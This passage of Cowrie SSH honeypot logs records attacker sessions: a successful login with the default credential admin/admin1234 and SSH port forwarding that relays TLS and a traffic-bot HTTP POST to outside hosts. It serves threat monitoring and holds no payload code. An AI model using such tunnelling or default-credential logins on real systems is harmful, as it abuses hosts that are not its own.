{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x13\\xea\\xd2\\xbd\\x125\\xc6V\\xa4\\x87\\xbai\\xdc~\\x94\\x01FE\\xb5N\\xcd\\xbb\\xc1Q\\x802\\x9e\\x16\\xfaXZ\\xc1 \\xaf\\x9e;DY?\\x8bYq\\x97\\r0n@\\xd1Ec&\\x10\\xa0\\xc4\\x8c]\\x83\\x91\\xfb\\xfd\\xba^\\xab\\x8em\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf6\\x1a\\x802\\x87\\xa2\\xcb\\xff*\\xf6tS\\xae\\xc9\\x17\\x06\\xf0A\\x7f\\xe3\\xca\\xba\\xe3\\xca\\xf6\\n\\xe3t\\xf8:H\\x0f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x13\\xea\\xd2\\xbd\\x125\\xc6V\\xa4\\x87\\xbai\\xdc~\\x94\\x01FE\\xb5N\\xcd\\xbb\\xc1Q\\x802\\x9e\\x16\\xfaXZ\\xc1 \\xaf\\x9e;DY?\\x8bYq\\x97\\r0n@\\xd1Ec&\\x10\\xa0\\xc4\\x8c]\\x83\\x91\\xfb\\xfd\\xba^\\xab\\x8em\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf6\\x1a\\x802\\x87\\xa2\\xcb\\xff*\\xf6tS\\xae\\xc9\\x17\\x06\\xf0A\\x7f\\xe3\\xca\\xba\\xe3\\xca\\xf6\\n\\xe3t\\xf8:H\\x0f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:47.847612Z","src_ip":"123.27.168.40","session":"0e46bee8fa62","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:48.086267Z","session":"0e46bee8fa62","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:48.319564Z","src_ip":"123.27.168.40","session":"0e46bee8fa62","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdc\\x8a\\xf4\\x167\\x16\\x13\\xa6\\x06\\xdc\\x12\\xd6(-\\xfc\\xd4\\xbe\\xc8\\x18\\xa4\\rn\\xd0\\xfaN\\xcc/R\\xec\\x9b\\xfb\\xaf a\\xbc+\\xa8\\x81\\xca[7\\xd2}{\\xdd\\x043d\\xe2\\x89?\\xab(\\xc1\\x18\\x83\\xa7\\x99l\\xba\\xd6\\xbdH-E\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8d6\\x1br\\x8c\\xd1QF\\xc2\\xaa\\xf0/W\\x80\\x96^!\\xaa\\x92\\xfa\\xb6f\\xf7\\xf7b\\x13\\x19\\x8b`\\xa5\\x17Z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdc\\x8a\\xf4\\x167\\x16\\x13\\xa6\\x06\\xdc\\x12\\xd6(-\\xfc\\xd4\\xbe\\xc8\\x18\\xa4\\rn\\xd0\\xfaN\\xcc/R\\xec\\x9b\\xfb\\xaf a\\xbc+\\xa8\\x81\\xca[7\\xd2}{\\xdd\\x043d\\xe2\\x89?\\xab(\\xc1\\x18\\x83\\xa7\\x99l\\xba\\xd6\\xbdH-E\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8d6\\x1br\\x8c\\xd1QF\\xc2\\xaa\\xf0/W\\x80\\x96^!\\xaa\\x92\\xfa\\xb6f\\xf7\\xf7b\\x13\\x19\\x8b`\\xa5\\x17Z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:48.322817Z","src_ip":"123.27.168.40","session":"0e46bee8fa62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:48.664262Z","src_ip":"123.27.168.40","session":"0e46bee8fa62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":60090,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd94d690f472","protocol":"ssh","message":"New connection: 23.175.50.51:60090 (10.17.0.5:22) [session: dd94d690f472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:11.138993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:11.143425Z","src_ip":"23.175.50.51","session":"dd94d690f472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:11.440435Z","src_ip":"23.175.50.51","session":"dd94d690f472","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:12.794199Z","src_ip":"23.175.50.51","session":"dd94d690f472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.12189197540283,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:16.396530Z","src_ip":"128.199.8.54","session":"83cf990fe6b4","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:17.210116Z","session":"dd94d690f472","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:17.540465Z","src_ip":"23.175.50.51","session":"dd94d690f472","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1204\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.87 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dFg2I2l%2BaFlzPzYmRkN1OA%3D%3DPXmi20gUTWP%2Bc%2B1IrFLUbwqo8L4%2BZaddhsyu48i%2FxM3Y6oYOcUBqbbbKm03sFTqU7%2FR3My%2BiilBO44%2B5sSGGX48WsByHKB1xzep1MDrB6bRNkn3qj1Wid0l5donyLjSb4myDo%2BPMqWC5SmHbjdYzfJOks9sJCHpbJgX9dxgSMm3LNqKZf4d5qVJ1%2B9gbFHIewrc%2FdzLoSfdIzuskIQwjqn6QRcP0ysOfwS81DIyIJ2X6CoIUjkb%2FrR8%2FFXWvy06BR7QqeEZ%2FQgP9nHumJvxn9vqxYwz52l2SKtgJU3xeIm%2BBP5kH4xtL6PvdMIQNjNhsIC0y12Q7TFSK8cmF%2BSONDLqjFu%2Bm2XuIa8wfmT6LZPFksFL8bULH4qSGlGyWalFi6pDL1td1Ozm2Wyf2ocnUPrFVNlxMwr9mLIHC1AbO7DET9uMTiR1vQNQV3Hb2uKoo%2FlN%2FR6RztN73sGcEyM9eTGEWrgsbUE2LPNN9cg4Ch5uVCjDoP39Yc1F2gyLBGInZnE3g4Gkz191%2FnM%2FscwOgVq8FRabn6bGknyd5pmU%2FwzkYumXvcIr5HhF70TGW%2BbApTH7ZEm35atbVocjLA4bGIXeIhvLE%2B125a5ls9ZYQYmZpRkEKN5y6OYw3jDDNFWMYYGmfWs1i%2FGhTJeyNh1kxAM%2Fn59D1zi6UY1aLVv4W0Bsp0%2Fsn1%2Bs7lIPWaD6Lycc9rhSunwU02%2FbL4gBQ0EuN8jw6jt6tM97Pp77R%2BJgV2wjjYFFTsDyNrVGOvm4Mz4IwinYXCDg9WIhJSsSy%2FTdeTSoUeCDC87jyk%2BX4NZ1EMj86r3bz6I2%2FlWgGUIzRqYzoCGL86x3kgtHq1nX0ikViHGumOaBygzbvkPLYNs7Y9%2B%2BjsfueRgqXVnHhrMWG0znyqRN2%2BS47vyBPItKckoEfVrMl75FvDI6m%2FXK7Efm9Mtv6ZXnH6rfcZq4Qi8ADlnh%2BpKALhiAOt7ANirxVyyDIfIqZttiwM%2BuyfDrAsMFL2vCT%2BoKtk2lcHT9mazgge4Q3T1LB0rddpZwU0wT3Sjmw%2Ft132X%2FWDquH35ntajjE%2F5LPm7Oo2WCnDlwyth1kZ8YD'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1204\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.87 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dFg2I2l%2BaFlzPzYmRkN1OA%3D%3DPXmi20gUTWP%2Bc%2B1IrFLUbwqo8L4%2BZaddhsyu48i%2FxM3Y6oYOcUBqbbbKm03sFTqU7%2FR3My%2BiilBO44%2B5sSGGX48WsByHKB1xzep1MDrB6bRNkn3qj1Wid0l5donyLjSb4myDo%2BPMqWC5SmHbjdYzfJOks9sJCHpbJgX9dxgSMm3LNqKZf4d5qVJ1%2B9gbFHIewrc%2FdzLoSfdIzuskIQwjqn6QRcP0ysOfwS81DIyIJ2X6CoIUjkb%2FrR8%2FFXWvy06BR7QqeEZ%2FQgP9nHumJvxn9vqxYwz52l2SKtgJU3xeIm%2BBP5kH4xtL6PvdMIQNjNhsIC0y12Q7TFSK8cmF%2BSONDLqjFu%2Bm2XuIa8wfmT6LZPFksFL8bULH4qSGlGyWalFi6pDL1td1Ozm2Wyf2ocnUPrFVNlxMwr9mLIHC1AbO7DET9uMTiR1vQNQV3Hb2uKoo%2FlN%2FR6RztN73sGcEyM9eTGEWrgsbUE2LPNN9cg4Ch5uVCjDoP39Yc1F2gyLBGInZnE3g4Gkz191%2FnM%2FscwOgVq8FRabn6bGknyd5pmU%2FwzkYumXvcIr5HhF70TGW%2BbApTH7ZEm35atbVocjLA4bGIXeIhvLE%2B125a5ls9ZYQYmZpRkEKN5y6OYw3jDDNFWMYYGmfWs1i%2FGhTJeyNh1kxAM%2Fn59D1zi6UY1aLVv4W0Bsp0%2Fsn1%2Bs7lIPWaD6Lycc9rhSunwU02%2FbL4gBQ0EuN8jw6jt6tM97Pp77R%2BJgV2wjjYFFTsDyNrVGOvm4Mz4IwinYXCDg9WIhJSsSy%2FTdeTSoUeCDC87jyk%2BX4NZ1EMj86r3bz6I2%2FlWgGUIzRqYzoCGL86x3kgtHq1nX0ikViHGumOaBygzbvkPLYNs7Y9%2B%2BjsfueRgqXVnHhrMWG0znyqRN2%2BS47vyBPItKckoEfVrMl75FvDI6m%2FXK7Efm9Mtv6ZXnH6rfcZq4Qi8ADlnh%2BpKALhiAOt7ANirxVyyDIfIqZttiwM%2BuyfDrAsMFL2vCT%2BoKtk2lcHT9mazgge4Q3T1LB0rddpZwU0wT3Sjmw%2Ft132X%2FWDquH35ntajjE%2F5LPm7Oo2WCnDlwyth1kZ8YD'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:17.543922Z","src_ip":"23.175.50.51","session":"dd94d690f472","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:21.549465Z","session":"dd94d690f472","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:21.617925Z","src_ip":"23.175.50.51","session":"dd94d690f472","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03%\\xc2\\x82Z[lZ95\\x00\\xe5$\\x92\\xfa\\x06@\\x19\\xef\\xd74Jo\\x04U6\\x98\\xbf\\x1bhhB\\x10 \\x0b\\xae?8\\xe2|\\xb9\\xa4=\\xbd]_A$\\x1e\\xdah4<\\x9ce3-\\xc9\\xb3\\xa2B\\xec\\xa2\\xd5\\xa5\\xee\\x00 